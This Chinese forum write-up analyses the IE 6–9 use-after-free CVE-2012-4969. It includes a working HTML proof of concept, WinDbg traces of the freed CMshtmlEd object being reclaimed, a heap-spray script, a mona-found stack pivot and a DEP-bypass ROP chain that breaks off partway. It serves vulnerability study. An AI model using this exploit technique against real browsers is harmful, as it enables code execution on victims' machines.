吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 41121|回复: 65
收起左侧

[漏洞分析] IE UAF 漏洞(CVE-2012-4969)漏洞分析与利用

  [复制链接]
giantbranch 发表于 2017-4-5 11:08
本帖最后由 giantbranch 于 2017-4-5 23:35 编辑

这次分析怎么来的呢?
之前看了下k0shl在i春秋讲的二进制分析实例,虽然没讲CVE,但是根据释放后重用对象可查到CVE,后来找poc的时候,发现还有netfairy也分析过:http://www.netfairy.net/?post=202
他们都有一个问题还没解决或者说是没说出来,那就是对象是在何时申请的,我就尝试看看咯
netfairy在漏洞利用的时候使用的是msf生成的payload上面改的,至于最后跳到0x0f0c0c0c+8那执行触发异常,应该就是因为DEP的问题了
通过netfairy的启发,poc直接从msf获得就好了

注:本次利用的是jdk1.6里没有开启ASLR的模块MSVCR71.dll(没办法,水平不行,只能装个jdk1.6了)

简介


首先这是一个IE的UAF的漏洞,由于IE 6至9版本中的mshtml.dll中的CMshtmlEd::Exec函数中存在释放后使用漏洞,可导致任意代码执行。本文包含了分析与利用,包含了对象的申请,对象在何时释放,什么时候被占位等,在漏洞利用方面,metasploit生成的exp的heap Spray有点难看,就自己根据自己的经验写了exp

实验环境

  • Windows 7 Sp1 32位
  • IE 8
  • windbg
  • IDA
  • mona

漏洞分析

获得exp(poc)搜了一下metasploit那里有,于是就直接生成exp咯


[Shell] 纯文本查看 复制代码
msf > search CVE-2012-4969

Matching Modules
================

   Name                                        Disclosure Date  Rank  Description
   ----                                        ---------------  ----  -----------
   exploit/windows/browser/ie_execcommand_uaf  2012-09-14       good  MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability 


msf > use exploit/windows/browser/ie_execcommand_uaf 

msf exploit(ie_execcommand_uaf) > set target 5
target => 5

msf exploit(ie_execcommand_uaf) > set payload windows/messagebox
payload => windows/messagebox

msf exploit(ie_execcommand_uaf) > set TEXT "giantbranch"
TEXT => giantbranch
msf exploit(ie_execcommand_uaf) > set TITLE "giantbranch"
TITLE => giantbranch
msf exploit(ie_execcommand_uaf) > show options 

Module options (exploit/windows/browser/ie_execcommand_uaf):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   OBFUSCATE  false            no        Enable JavaScript obfuscation
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (windows/messagebox):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
   ICON      NO               yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
   TEXT      giantbranch      yes       Messagebox Text (max 255 chars)
   TITLE     giantbranch      yes       Messagebox Title (max 255 chars)


Exploit target:

   Id  Name
   --  ----
   5   IE 8 on Windows 7

msf exploit(ie_execcommand_uaf) > exploit 
Exploit running as background job.
msf exploit(ie_execcommand_uaf) >
Using URL: [url=http://0.0.0.0:8080/JO1jAksZMVhFYD2]http://0.0.0.0:8080/JO1jAksZMVhFYD2[/url]
Local IP: [url=http://192.168.253.164:8080/JO1jAksZMVhFYD2]http://192.168.253.164:8080/JO1jAksZMVhFYD2[/url]
Server started.


接下来客户端访问看看,利用成功

QQ截图20170329091238.png

由于是metasploit那边启动的服务器,exp调试起来不是太方便,而且kali占内存,我们用其他浏览器查看源码将exp复制下来,将heap spray的代码删除掉,就成了poc啦(下面给出poc)

文件1:exp.html
[HTML] 纯文本查看 复制代码
<html>
  <body>
    <script>
      var arrr = new Array();
      arrr[0] = window.document.createElement("img");
      arrr[0]["src"] = "f";
    </script>

    <iframe src="./exp1.html"></iframe>
    
  </body></html>


文件2:exp1.html
[HTML] 纯文本查看 复制代码
<HTML>
  <script>
    function funcB() {
      document.execCommand("selectAll");
    };

    function funcA() {
      document.write("B");
      parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
    }

  </script>
  <body onload='funcB();' onselect='funcA()'>
    <div contenteditable='true'>
      a
    </div>
  </body>
</HTML>


根据崩溃信息简单分析


好,上windbg

[Shell] 纯文本查看 复制代码
0:013> g
ModLoad: 71640000 716f2000   C:\Windows\System32\jscript.dll
(34c.ca4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=00158f68 edx=0000000d esi=00000000 edi=0c0c0c08
eip=65a7c4bd esp=026bbd60 ebp=026bbd6c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMshtmlEd::Exec+0x134:
65a7c4bd 8b07            mov     eax,dword ptr [edi]  ds:0023:0c0c0c08=????????


可以看到edi的值就来源于我们的poc中exp1.html页面的funA的parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";看看堆栈信息
我们看到mshtml!CEditRouter::ExecEditCommand ,应该就是执行Edit命令,这里mshtml!CMshtmlEd::Exec重用导致的问题
[Bash shell] 纯文本查看 复制代码
0:005> kv
ChildEBP RetAddr  Args to Child              
026bbd6c 65a7c63b 03e12198 65a02b44 0000001f mshtml!CMshtmlEd::Exec+0x134
026bbd9c 659f4249 65a02b44 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xd6
026bc158 65b5b040 0010df28 65a02b44 0000001f mshtml!CDoc::ExecHelper+0x3cd7
026bc178 65b9aad6 0010df28 65a02b44 0000001f mshtml!CDocument::Exec+0x24
026bc1a0 65b5cd0a 01afad20 0000001f 026b000a mshtml!CBase::execCommand+0x53
026bc1d8 65b93f8f 00000001 01afad20 00000000 mshtml!CDocument::execCommand+0x94
026bc250 65a5235c 0010df28 01afa9c0 0010d090 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
026bc2c4 65a525d5 0010df28 00000429 00000001 
......

我们先通过ida看看edi的来源,定位到那个CMshtmlEd::Exec函数,由于win7有ASLR,根据地址后四个字节即可定位到代码首先是来源于[edi+8]
[Bash shell] 纯文本查看 复制代码
.text:74E7C4BA                 mov     edi, [edi+8]
.text:74E7C4BD                 mov     eax, [edi]
.text:74E7C4BF                 push    edi
.text:74E7C4C0                 call    dword ptr [eax+8]

我们向上看,原来edi来源于CMshtmlEd对象的this指针
.text:74E7C433 mov edi, [ebp+this]
那么这里获取this指针后,获取偏移+8的位置,应该这个偏移+8的位置也是一个对象,跟着取这个对象的虚表到eax,跟着call [eax+8]调用第3个虚函数,假如对象释放后我们成功占位,那么就可以劫持控制流了(这时分析前的一个猜测,不一定全对)。

开始javascript和windbg联合调试

根据上面的简单分析,应该就是CMshtmlEd对象释放后重用导致的异常首先我们开启页堆和用户态栈回溯(有利于获取堆更多的信息)
gflags.exe /i iexplore.exe +ust +hpa
那我们在CMshtmlEd对象的构造函数和析构函数上下断点,看看对象申请的地址和释放的地址,释放后的值跟这个edi是不是一样的就知道了,配合javascript的调试就知道什么javascript语句导致的对象申请和释放了(当然经验丰富的就知道document.write(“B”);会使对象释放,对parent.arrr[0].src的复制可能会导致占位)

我们可以通过x命令查看CMshtmlEd对象的函数(或者ida直接在函数列表搜索CMshtmlEd::)
[Bash shell] 纯文本查看 复制代码
0:005> x mshtml!CmshtmlEd::*
65a7b484 mshtml!CMshtmlEd::Release = <no type information>
65a7bb7d mshtml!CMshtmlEd::QueryInterface = <no type information>
659b59fa mshtml!CMshtmlEd::Initialize = <no type information>
659d92e1 mshtml!CMshtmlEd::AddRef = <no type information>
659d928c mshtml!CMshtmlEd::`vftable' = <no type information>
65a7c35e mshtml!CMshtmlEd::IsDialogCommand = <no type information>
659cd3ea mshtml!CMshtmlEd::QueryStatus = <no type information>
65843fac mshtml!CMshtmlEd::GetSegmentList = <no type information>
65a7c42b mshtml!CMshtmlEd::Exec = <no type information>
659b5d4d mshtml!CMshtmlEd::CMshtmlEd = <no type information>
65a8396f mshtml!CMshtmlEd::~CMshtmlEd = <no type information>

我们这里有构造函数和析构函数,但是没有堆申请和堆释放的操作
原来是在下面这两个函数中
CMshtmlEd::Initialize
CMshtmlEd::Release当然js也要下好断点哦那我们在下面两个函数下断点,由于允许运行控件导致页面重绘,所以一开始会调用Release函数
[Bash shell] 纯文本查看 复制代码
0:015> bp mshtml!CMshtmlEd::Initialize
0:015> bp mshtml!CMshtmlEd::Release
0:015> g
Breakpoint 1 hit
eax=0b034f78 ebx=00000000 ecx=659d928c edx=00161078 esi=06e96f8c edi=0b038ff0
eip=65a7b484 esp=0446f930 ebp=0446f958 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Release:
65a7b484 8bff            mov     edi,edi
0:005> g

跟着断在js这一行var arrr = new Array();
QQ截图20170329221723.png 继续js单步就到达了
[JavaScript] 纯文本查看 复制代码
function funcB() {
    document.execCommand("selectAll");
};

继续,发现执行完document.execCommand("selectAll");,windbg就断下来了,断在mshtml!CMshtmlEd::Initialize,单步到HeapAlloc的下一句,就看到申请返回地址是09f8afc0
大小是0x40,!heap -p -a查一下是mshtml!CSelectionServices对象,有种不好的预感
[Bash shell] 纯文本查看 复制代码
0:005> p
eax=00000000 ebx=04c6ff20 ecx=07c9ef30 edx=00000000 esi=0b668f78 edi=0b668f88
eip=659b5a20 esp=0446bb88 ebp=0446bba8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Initialize+0x26:
659b5a20 ff15c4128265    call    dword ptr [mshtml!_imp__HeapAlloc (658212c4)] ds:0023:658212c4={ntdll!RtlAllocateHeap (76f2209d)}
0:005> p
eax=09f8afc0 ebx=04c6ff20 ecx=76f2349f edx=00000000 esi=0b668f78 edi=0b668f88
eip=659b5a26 esp=0446bb94 ebp=0446bba8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Initialize+0x2c:
659b5a26 85c0            test    eax,eax

继续,g命令,又申请了一个起始地址为07c2dfc0的堆继续g,这次进入了Release函数
[Bash shell] 纯文本查看 复制代码
65a7b484 8bff            mov     edi,edi
65a7b486 55              push    ebp
65a7b487 8bec            mov     ebp,esp
65a7b489 56              push    esi
65a7b48a 8b7508          mov     esi,dword ptr [ebp+8]
65a7b48d ff4e04          dec     dword ptr [esi+4]
65a7b490 8b4604          mov     eax,dword ptr [esi+4]
65a7b493 0f84b6840000    je      mshtml!CMshtmlEd::Release+0x11 (65a8394f)
65a7b499 5e              pop     esi
65a7b49a 5d              pop     ebp
65a7b49b c20400          ret     4

但是由于[esi+4]的值为3,减1后是2,不为0,所以没有执行HeapFree流程继续g,回到js了,到了funcA
[JavaScript] 纯文本查看 复制代码
function funcA() {
    document.write("B");
    parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}

继续,document.write("B");触发了mshtml!CMshtmlEd::Release(因为整个document重绘了,写了个B)上一次[esi+4]是2,这次-1,还不是0,不会跳去执行HeapFree
再次go,再一次进入mshtml!CMshtmlEd::Release,这次释放的地址是0b408f78,是mshtml!CMshtmlEd对象
那我们之前下的断点没看到这个地址的申请啊,说明下的断点是不对的
[Bash shell] 纯文本查看 复制代码
0:005> t
eax=00000000 ebx=04c6ff8c ecx=00000000 edx=04c6ff8c esi=0b408f78 edi=00000001
eip=65a8395d esp=0446800c ebp=0446801c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Release+0x1f:
65a8395d ff15c0128265    call    dword ptr [mshtml!_imp__HeapFree (658212c0)] ds:0023:658212c0={kernel32!HeapFree (766ff198)}
0:005> dd esp
0446800c  00160000 00000000 0b408f78 0b408f78
0446801c  04468034 65c7db12 0b408f78 04c6ff20
0446802c  00000000 04c6ffac 04468060 65c79f59
0446803c  0b408f78 044bcfd8 00000000 0000000f
0446804c  04c6ff20 0b408f78 044bcfd8 0b686fd8
0446805c  0b01efd8 04468068 65b0246a 04468084
0446806c  65a7a6c5 04c6ff20 0000000f 052b4f30
0446807c  00000000 06dc0680 044680a0 65a3285e

之后就发生另一个异常了,看堆栈应该是启用了js调试的原因
[Bash shell] 纯文本查看 复制代码
0:005> g
(590.874): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000018f ebx=00000000 ecx=0a3c8fd0 edx=65b8430c esi=00000000 edi=0000018f
eip=65bc12a0 esp=087bf808 ebp=087bf810 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CHtmInfo::ReadUnicodeSource+0x10:
65bc12a0 8b86ec000000    mov     eax,dword ptr [esi+0ECh] ds:0023:000000ec=????????
0:013> kv
ChildEBP RetAddr  Args to Child              
087bf810 65bc0fc0 08e1efd8 00000000 087bf880 mshtml!CHtmInfo::ReadUnicodeSource+0x10
087bf828 65b8485f 08e1efd8 00000000 0000018f mshtml!CHtmCtx::ReadUnicodeSource+0x1a
087bf848 7131a260 0a3c8fd0 00000000 08e1efd8 mshtml!CScriptDebugDocument::CHost::GetDeferredText+0x2e
087bf894 7131a2eb 08e1ef48 087bf8e4 72c5ca66 pdm!CDebugDocumentHelper::EnsureParsed+0xd9
087bf8a0 72c5ca66 08e1ef48 087bf8d4 087bf8e0 pdm!CDebugDocumentHelper::GetSize+0x11
087bf8e4 714df731 0a347fb8 087bf920 087bf918 jsdebuggeride!CJSDbgSource::GetTextAndAttr+0x69 (FPO: [Non-Fpo])
......

我们看回CMshtmlEd的构造函数,发现第一句就将虚表给了a2指向的地址,那么就是说a2就是CMshtmlEd对象指针,那我们对构造函数进行解引用(按x),发现在CHTMLEditor::AddCommandTargethe CHTMLEditor::GetCommandTarget会申请内存,跟着调用CMshtmlEd的构造函数
[C++] 纯文本查看 复制代码
int __fastcall CMshtmlEd::CMshtmlEd(int a1, int a2, int a3, int a4)
{
  int v4; // edx@1

  *(_DWORD *)a2 = &CMshtmlEd::`vftable';
  CSpringLoader::CSpringLoader((CSpringLoader *)(a2 + 24), (struct CMshtmlEd *)a2);
  *(_DWORD *)(v4 + 8) = a3;
  *(_DWORD *)(v4 + 4) = 1;
  *(_DWORD *)(v4 + 132) ^= (*(_DWORD *)(v4 + 132) ^ 2 * (a4 != 0)) & 2;
  return v4;
}

我们在下面的函数下断点,对了这次也在Exec函数下断点吧,
[Bash shell] 纯文本查看 复制代码
bp mshtml!CHTMLEditor::AddCommandTarget
bp mshtml!CHTMLEditor::GetCommandTarget
bp mshtml!CMshtmlEd::Release
bp mshtml!CMshtmlEd::Exec

执行document.execCommand("selectAll");触发了mshtml!CHTMLEditor::AddCommandTarget,而这次HeapAlloc返回的地址是0d0f2f78
[Bash shell] 纯文本查看 复制代码
0:004> p
eax=07ef4fac ebx=07ef4f20 ecx=00000000 edx=0000096a esi=07ef4f20 edi=07ef4fac
eip=659b59b7 esp=044fb9d8 ebp=044fb9f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CHTMLEditor::AddCommandTarget+0x1a:
659b59b7 ff15c4128265    call    dword ptr [mshtml!_imp__HeapAlloc (658212c4)] ds:0023:658212c4={ntdll!RtlAllocateHeap (76f2209d)}
0:004> p
eax=0d0f2f78 ebx=07ef4f20 ecx=76f2349f edx=00000000 esi=07ef4f20 edi=07ef4fac
eip=659b59bd esp=044fb9e4 ebp=044fb9f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CHTMLEditor::AddCommandTarget+0x20:
659b59bd 33f6            xor     esi,esi

而且确实是个CMshtmlEd对象
[Bash shell] 纯文本查看 复制代码
0:004> !heap -p -a 0d0f2f78 
    address 0d0f2f78 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 d041a5c:          d0f2f78               88 -          d0f2000             2000
          mshtml!CMshtmlEd::`vftable'
                  ......

继续,这时候到了mshtml!CHTMLEditor::GetCommandTarget,但是没有进入if语句申请内存,调用CMshtmlEd构造函数的流程,而是到了else,那么就再次到了AddCommandTarget函数,其实是在这个函数申请而已,申请返回的地址是0cf54f78,也是CMshtmlEd对象之后到了Release函数,但是没释放,之后到了mshtml!CMshtmlEd::Exec函数,跟着单步到下面,触发了funcA
65a7c4b3 e820000000      call    mshtml!CCommand::Exec (65a7c4d8)
跟着执行完document.write("B");,就跳到Release函数了,但第一次没有释放,第二次进入Release才释放下面可以看到释放的0cf54f78,这个地址就是GetCommandTarget->AddCommandTarget->HeapAlloc为CMshtmlEd对象申请的地址,就是上面我们第二次捕获的值
[Bash shell] 纯文本查看 复制代码
0:004> p
eax=00000000 ebx=07ef4f8c ecx=00000000 edx=07ef4f8c esi=0cf54f78 edi=00000001
eip=65a8395d esp=044f7e54 ebp=044f7e64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Release+0x1f:
65a8395d ff15c0128265    call    dword ptr [mshtml!_imp__HeapFree (658212c0)] ds:0023:658212c0={kernel32!HeapFree (766ff198)}
0:004> dd esp
044f7e54  00050000 00000000 0cf54f78 0cf54f78
044f7e64  044f7e7c 65c7db12 0cf54f78 07ef4f20
044f7e74  00000000 07ef4fac 044f7ea8 65c79f59
044f7e84  0cf54f78 0d158fd8 00000000 0000000f
044f7e94  07ef4f20 0cf54f78 0d158fd8 0d110fd8
044f7ea4  0b93efd8 044f7eb0 65b0246a 044f7ecc
044f7eb4  65a7a6c5 07ef4f20 0000000f 0b818f30
044f7ec4  00000000 06e61680 044f7ee8 65a3285e

那我们再g,由于js报错,我们知道原理就关闭js调试,重新调试,最终处理完就返回到65a7c4b8这里,65a7c4ba这里就触发异常了
[Bash shell] 纯文本查看 复制代码
65a7c4b3 e820000000      call    mshtml!CCommand::Exec (65a7c4d8)
65a7c4b8 8bf0            mov     esi,eax
65a7c4ba 8b7f08          mov     edi,dword ptr [edi+8]
65a7c4bd 8b07            mov     eax,dword ptr [edi]
65a7c4bf 57              push    edi
65a7c4c0 ff5008          call    dword ptr [eax+8]

由于是重新调试,下面edi地址可能不一样,我们可以看到,我们开了页堆,崩溃的地址变成了前一条指令 ,应该是开了页堆,导致不能占位成功
[Bash shell] 纯文本查看 复制代码
0:005> p
(e68.cf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=0816ef30 edx=0000000d esi=00000000 edi=07f0ff78
eip=65a7c4ba esp=043cbaf8 ebp=043cbb04 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMshtmlEd::Exec+0x131:
65a7c4ba 8b7f08          mov     edi,dword ptr [edi+8] ds:0023:07f0ff80=????????


漏洞利用

怎么占的位呢
我们关闭页堆,我们看到edi是被成功占位了的,为什么对parent.arrr[0].src的赋值这里一长串的字符就可以占位呢?
[Bash shell] 纯文本查看 复制代码
0:005> p
eax=00000000 ebx=0000001f ecx=03f22998 edx=0000000d esi=00000000 edi=00239228
eip=6dffc4ba esp=0258bbe8 ebp=0258bbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x131:
6dffc4ba 8b7f08          mov     edi,dword ptr [edi+8] ds:0023:00239230=0c0c0c08
0:005> dc edi
00239228  004d0059 0066006a 0c0c0c08 0044004b  Y.M.j.f.....K.D.
00239238  0067006f 0073006a 00490069 006a0065  o.g.j.s.i.I.e.j.
00239248  006e0065 004e0067 006b0045 0050006f  e.n.g.N.E.k.o.P.
00239258  006a0044 00690066 0044004a 00570049  D.j.f.i.J.D.I.W.
00239268  00410055 0064007a 00670066 006a0068  U.A.z.d.f.g.h.j.
00239278  00410041 00550075 00470046 00420047  A.A.u.U.F.G.G.B.
00239288  00490053 00500050 00550050 00460044  S.I.P.P.P.U.D.F.
00239298  004b004a 004f0053 004a0051 00480047  J.K.S.O.Q.J.G.H.

我们在Exec函数下断点,单步到下面,this指针赋值给edi,我们看到edi确实是CMshtmlEd对象

[Bash shell] 纯文本查看 复制代码
0:005> p
eax=00434720 ebx=6df82b44 ecx=6df5928c edx=00000000 esi=004246d8 edi=00000000
eip=6dffc433 esp=023cb8c8 ebp=023cb8d4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x8:
6dffc433 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:023cb8dc=00434720
0:005> p
eax=00434720 ebx=6df82b44 ecx=6df5928c edx=00000000 esi=004246d8 edi=00434720
eip=6dffc436 esp=023cb8c8 ebp=023cb8d4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0xb:
6dffc436 8b4708          mov     eax,dword ptr [edi+8] ds:0023:00434728=00453100
0:005> !heap -p -a edi
    address 00434720 found in
    _HEAP @ 380000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00434718 0013 0000  [00]   00434720    00088 - (busy)
          mshtml!CMshtmlEd::`vftable'

我们执行到这条语句call mshtml!CCommand::Exec (6dffc4d8)下一行,CMshtmlEd对象已经释放,而且我们字符串已经占位,跟我们设定的值一样的,注意这里是unicode

[Bash shell] 纯文本查看 复制代码
0:005> dc edi
00434720  004d0059 0066006a 0c0c0c08 0044004b  Y.M.j.f.....K.D.
00434730  0067006f 0073006a 00490069 006a0065  o.g.j.s.i.I.e.j.
00434740  006e0065 004e0067 006b0045 0050006f  e.n.g.N.E.k.o.P.
00434750  006a0044 00690066 0044004a 00570049  D.j.f.i.J.D.I.W.
00434760  00410055 0064007a 00670066 006a0068  U.A.z.d.f.g.h.j.
00434770  00410041 00550075 00470046 00420047  A.A.u.U.F.G.G.B.
00434780  00490053 00500050 00550050 00460044  S.I.P.P.P.U.D.F.
00434790  004b004a 004f0053 004a0051 00480047  J.K.S.O.Q.J.G.H.

我们来看看edi是一个怎么样的堆
虽然大小不是跟CMshtmlEd的0x88大小一样,但是这里是0x82,跟0x88比较接近,应该选刚释放出来的0x88比较合适吧

[Bash shell] 纯文本查看 复制代码
0:005> !heap -p -a edi
    address 00434720 found in
    _HEAP @ 380000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00434718 0013 0000  [00]   00434720    00082 - (busy)

我们看看我们的字符串是不是0x82长度,直接在web控制台敲即可

[Bash shell] 纯文本查看 复制代码
>"YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH".length
<64

因为是unicode,要转化一下,还要加字符串结束符,unicode,占两个位置

[Bash shell] 纯文本查看 复制代码
>>> hex(64*2+ 2)
'0x82'

那我们在这个字符后面再加3个字符变成0x88大小试试,也是完美占位,

[Bash shell] 纯文本查看 复制代码
0:005> p
eax=00439648 ebx=0000001f ecx=00439648 edx=0000001f esi=00439648 edi=0048c200
eip=6dffc4b3 esp=0270b810 ebp=0270b82c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x123:
6dffc4b3 e820000000      call    mshtml!CCommand::Exec (6dffc4d8)
0:005> p
eax=00000000 ebx=0000001f ecx=0046e480 edx=0000000d esi=00439648 edi=0048c200
eip=6dffc4b8 esp=0270b820 ebp=0270b82c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x128:
6dffc4b8 8bf0            mov     esi,eax
0:005> !heap -p -a edi
    address 0048c200 found in
    _HEAP @ 390000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0048c1f8 0012 0000  [00]   0048c200    00088 - (busy)

0:005> dc edi
0048c200  004d0059 0066006a 0c0c0c08 0044004b  Y.M.j.f.....K.D.
0048c210  0067006f 0073006a 00490069 006a0065  o.g.j.s.i.I.e.j.
0048c220  006e0065 004e0067 006b0045 0050006f  e.n.g.N.E.k.o.P.
0048c230  006a0044 00690066 0044004a 00570049  D.j.f.i.J.D.I.W.
0048c240  00410055 0064007a 00670066 006a0068  U.A.z.d.f.g.h.j.
0048c250  00410041 00550075 00470046 00420047  A.A.u.U.F.G.G.B.
0048c260  00490053 00500050 00550050 00460044  S.I.P.P.P.U.D.F.
0048c270  004b004a 004f0053 004a0051 00480047  J.K.S.O.Q.J.G.H


Heap Spray

由于msf生成的利用代码太长了,看开头是使用了JavaScript Heap Exploitation library,代码不太好理解,于是自己就尝试写自己的利用代码

IE8的Heap Spray一般如下:
[JavaScript] 纯文本查看 复制代码
nops=unescape('%u0c0c%u0c0c');
while(nops.length < 0x100000/2){
    nops += nops
}
// 减去堆头,长度以及最后的两个空字符
nops = nops.substring(0, 0x100000/2 - 32/2 - 4/2 - 2/2 - shellcode.length);
var tmp = nops + shellcode;
slide=new Array();
for( i=0; i<200; i++) {
    slide= tmp.substring(0, tmp.length);
}

我们调试看看

[Bash shell] 纯文本查看 复制代码
0:005> p
eax=0c0c0c0c ebx=0000001f ecx=004576b0 edx=0000000d esi=00000000 edi=0c0c0c08
eip=6dffc4c0 esp=0226bc24 ebp=0226bc34 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x137:
6dffc4c0 ff5008          call    dword ptr [eax+8]    ds:0023:0c0c0c14=0c0c0c0c

经过heap Spray,我们只要精确控制0c0c0c14的值即可,由于开了DEP,在这里进行栈翻转,再进行rop,关闭DEP再执行shellcode即可
那么我们接下来要精确控制0c0c0c0c附近的数据的排布我们看看0c0c0c0c所在堆的基址是什么
[Bash shell] 纯文本查看 复制代码
0:005> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 390000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c0c0018 20016 0000  [00]   0c0c0020    1000b0 - (busy VirtualAlloc)

因为堆块的对齐粒度是0x1000,而且unicode是两字节编码的,还要减2个空字符(具体现在不确定是不是空字符,反正实践的时候要减2),所以最终我们的ROP的首地址放在0x5f4偏移处就行了,估计这个得按实际修改
[Bash shell] 纯文本查看 复制代码
>>> hex((0x0c0c0c0c-0x0c0c0020)%0x1000/2 - 2)
'0x5f4'

我们看看,我用我的英文名定位到0x0c0c0c0c定位成功
[Bash shell] 纯文本查看 复制代码
0:005> dc 0c0c0c08
0c0c0c08  41414141 6e616967 61726274 9068636e  AAAAgiantbranch.
0c0c0c18  90909090 90909090 90909090 90909090  ................
0c0c0c28  90909090 90909090 90909090 90909090  ................
0c0c0c38  90909090 90909090 90909090 90909090  ................
0c0c0c48  90909090 90909090 90909090 90909090  ................
0c0c0c58  90909090 90909090 90909090 90909090  ................
0c0c0c68  90909090 90909090 90909090 90909090  ................
0c0c0c78  90909090 90909090 90909090 90909090  ................


那我们将0c0c0c08的地址写入0c0c0c0c,接下来call dword ptr [eax+8]就会call 0c0c0c14了

而我们布置0c0c0c14地址为stack pivot —–> xchg eax,esp ; retn
而stack pivot的机器码是 94 c3
(还有我的系统装了jdk1.6,有个没有开启ASLR的模块MSVCR71.dll)
上mona
!py mona find -s "\x94\xc3" -m MSVCR71
用第二个0x7c348b05吧(第一个没有执行权限)
[Bash shell] 纯文本查看 复制代码
0x7c3837d5 |   0x7c3837d5 : \x94\xc3 |  {PAGE_READONLY} [MSVCR71.dll ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.3052.4 (C:\Program Files\Java\jre6\bin\MSVCR71.dll)
0x7c348b05 |   0x7c348b05 : \x94\xc3 |  {PAGE_EXECUTE_READ} [MSVCR71.dll ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.3052.4 (C:\Program Files\Java\jre6\bin\MSVCR71.dll)

跟着用找到关闭DEP的rop,注意倒数第3个的地址要+0x11,调试过的就很清楚了(其实这段rop的功能是:开启从esp为起始,大小为0x201那段内存的执行权限)
[Bash shell] 纯文本查看 复制代码
//rop chain generated with mona.py - [url=www.corelan.be]www.corelan.be[/url]
  rop_gadgets = unescape(
    "%u6cc8%u7c36" + // 0x7c366cc8 : ,# POP EBP # RETN [MSVCR71.dll] 
    "%u6cc8%u7c36" + // 0x7c366cc8 : ,# skip 4 bytes [MSVCR71.dll]
    "%u2b26%u7c37" + // 0x7c372b26 : ,# POP EBX # RETN [MSVCR71.dll] 
    "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
    "%u5249%u7c34" + // 0x7c345249 : ,# POP EDX # RETN [MSVCR71.dll] 
